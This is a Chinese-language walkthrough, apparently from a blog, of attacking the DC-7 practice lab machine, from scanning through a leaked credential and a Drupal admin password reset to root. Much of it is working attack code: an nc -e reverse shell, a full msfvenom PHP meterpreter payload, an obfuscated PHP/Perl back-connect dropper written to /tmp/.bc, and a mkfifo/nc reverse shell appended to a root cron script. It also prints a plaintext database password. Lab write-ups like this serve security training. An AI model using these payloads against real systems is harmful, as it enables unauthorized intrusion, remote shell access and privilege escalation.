DC-7入门练习

信息收集

1.扫描主机
查看DC-7的mac地址
DC-7入门练习_第1张图片

nmap -sP 192.168.1.0/24 -oN nmap.sP

找到目标ip为192.168.1.6DC-7入门练习_第2张图片

2.扫描端口

nmap -A 192.168.1.6 -p 0-65535 -oN nmap.A

开放80,22端口
DC-7入门练习_第3张图片

3.收集网站信息

whatweb 192.168.1.6

使用Drupal 8搭建的网站
在这里插入图片描述
我们用kali查找有无drupal 8的漏洞
DC-7入门练习_第4张图片
最后尝试无果

4.访问80
DC-7入门练习_第5张图片
根据提示爆破是行不通的
重点看首页的footer部分,也就是网页的最下方的黑色区域,靶机的除了"Powered by Drupal",还多了一个"@DC7USER"。
5.Google搜索找到路线
DC-7入门练习_第6张图片
最终到了项目源码,我们可以以做一个代码审计,但是发现有一个straf.db项目(github可以下载):https://github.com/Dc7User/staffdb,拆开来看是staff db,也就是员工数据库,说不定是有员工的账号、密码:
DC-7入门练习_第7张图片
DC-7入门练习_第8张图片
DC-7入门练习_第9张图片
果不其然附代码如下:


	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

5.登陆员工账号:
在网站尝试登陆发现不对,此时我们突然想到网站22端口开放可以尝试连接:

 ssh [email protected]

DC-7入门练习_第10张图片

提权1

1.查看目录文件

查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。DC-7入门练习_第11张图片
思考:因为这里有个root权限脚本,如果我们可以修改这个脚本就可以,进行提权

cd /opt/scripts/backups.sh
ls -ll
cat backups.sh

来到backup.sh目录下,查看脚本权限发现只有root,和www-data用户有执行修改权
思考:只要获得网站shell,即可提权

DC-7入门练习_第12张图片

仔细查看脚本backups.sh:
发现有俩个命令drush,gpg
DC-7入门练习_第13张图片
百度了一下:
gpg是一个密码加密工具
drush是用来管理drupal站点的shell,就是可以对任意用户密码进行修改

drush user-password admin --password="666"

2.查找用户名
drush这个命令需要一个用户名我们进入网站点击登录发现有一个重置密码项,需要提供用户名,我们尝试admin发现正确。
DC-7入门练习_第14张图片
DC-7入门练习_第15张图片
3.修改admin用户密码

drush user-password admin --password="123.com"

DC-7入门练习_第16张图片
翻译一下报错:
命令user-password需要更高的引导级别才能运行——您将需要从一个更[错误]的地方调用drush

功能Drupal环境来运行此命令。无法执行drush命令“用户密码管理

简单说,我们执行命令的地方(路径)不对;
思考:从backups.sh中我们看到,使用drush备份数据库的时候,先切换目录至/var/www/html,所以我们也先切换目录至/var/www/html

cd /var/www/html

成功修改
在这里插入图片描述
4.登录网站查看
DC-7入门练习_第17张图片

漏洞利用(Drupal 8文件上传漏洞)反弹shell

下载php模块
DC-7入门练习_第18张图片
添加模块(上一步下载的压缩包)
DC-7入门练习_第19张图片
添加成功
DC-7入门练习_第20张图片
激活模块
DC-7入门练习_第21张图片
编写php查看是否安装成功
DC-7入门练习_第22张图片
DC-7入门练习_第23张图片

反弹shell(提供了3种方法)

方法一:写入一句话木马
DC-7入门练习_第24张图片
中国蚁剑连接:
DC-7入门练习_第25张图片
打开控制台反弹shell:

nc -e  /bin/bash 6666

在这里插入图片描述
kaili开启端口监听

nc lvvp 6666

DC-7入门练习_第26张图片

进入交互模式

python -c 'import pty;pty.spawn("/bin/bash")'

DC-7入门练习_第27张图片
方法二:msf反弹shell代码

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=4444 R > DC7_shell.php

复制代码写入php中

/*<?php /**/ error_reporting(0); $ip = '10.10.10.133'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eva

进入msfconsole

msfconsole
use exploit/multi/handler
set lhost 192.168.1.12
set lport 6666
run

方法三:php反弹代码


 
function which($pr) {
 
$path = execute("which $pr");
 
return ($path ? $path : $pr);
 
}
 
function execute($cfe) {
 
$res = '';
 
if ($cfe) {
 
if(function_exists('exec')) {
 
@exec($cfe,$res);
 
$res = join("\n",$res);
 
} elseif(function_exists('shell_exec')) {
 
$res = @shell_exec($cfe);
 
} elseif(function_exists('system')) {
 
@ob_start();
 
@system($cfe);
 
$res = @ob_get_contents();
 
@ob_end_clean();
 
} elseif(function_exists('passthru')) {
 
@ob_start();
 
@passthru($cfe);
 
$res = @ob_get_contents();
 
@ob_end_clean();
 
} elseif(@is_resource($f = @popen($cfe,"r"))) {
 
$res = '';
 
while(!@feof($f)) {
 
$res .= @fread($f,1024);
 
}
 
@pclose($f);
 
}
 
}
 
return $res;
 
}
 
function cf($fname,$text){
 
if($fp=@fopen($fname,'w')) {
 
@fputs($fp,@base64_decode($text));
 
@fclose($fp);
 
}
 
}
 
$yourip = "192.168.1.12";
 
$yourport = '6666';
 
$usedb = array('perl'=>'perl','c'=>'c');
 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
 
cf('/tmp/.bc',$back_connect);
 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
 
?>

开启端口后运行即可反弹shell

最后提权:

写入反弹shell代码到backups.sh脚本文件中,并在kali监听777端口,等待计划任务执行,稍微等待后成功getshell

在kali监听7777端口:
在这里插入图片描述
写入shell

cd /opt/scripts

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.12 7777 >/tmp/f" >> backups.sh

 

DC-7入门练习_第28张图片

等待计划任务执行就可提权:
在这里插入图片描述
提权成功
DC-7入门练习_第29张图片

DC靶机系列入门详解,关注查看下一篇

你可能感兴趣的:(DC,DC-7靶机练习,安全)